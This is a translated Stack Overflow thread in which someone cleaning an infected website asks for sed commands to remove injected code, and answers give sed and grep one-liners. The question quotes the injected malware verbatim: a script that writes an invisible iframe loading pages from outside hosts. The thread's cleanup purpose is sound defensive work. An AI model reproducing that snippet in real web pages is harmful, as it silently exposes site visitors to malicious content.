我正在帮助某人清理网站上的恶意软件感染,我很难正确匹配sed中的一些字符串,这样我就可以创建一个脚本来大规模搜索和替换/删除它。
这些字符串是:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>我似乎想不出如何转义这些行中的各种字符...
如果我尝试只说删除整行,如果它与http://vidintex.com/includes/class.pop.php匹配,它也会删除.html文件中结束的html </body>。
因此,我需要能够在sed中匹配这整行:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>任何帮助都将不胜感激!
发布于 2012-10-24 06:54:42
您可以尝试这样做:
sed -i '/vidintex.com\/includes\/class.pop.php/d' files*这将删除包含vidintex.com/includes/class.pop.php的所有行
发布于 2012-10-30 22:36:01
您可以在sourceforge上开始使用SMScanner!它会立即解决你的问题
发布于 2015-05-04 19:46:56
与Looking for script to delete iframe malware from linux server类似,您可以查找位于最终body标记旁边的script标记,并将其仅替换为body标记。此脚本将查找所有受影响的文件并删除最终脚本。
它可能会找到最后带有脚本的正版文件-所以首先检查grep for files是否只找到受感染的文件。
# grep recursively for text
# escape all spaces in file names
# global search and replace with just body tag
grep -Rl "</script></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<script .*><\/script><\/body>/<\/body>/g'https://stackoverflow.com/questions/13040532
复制相似问题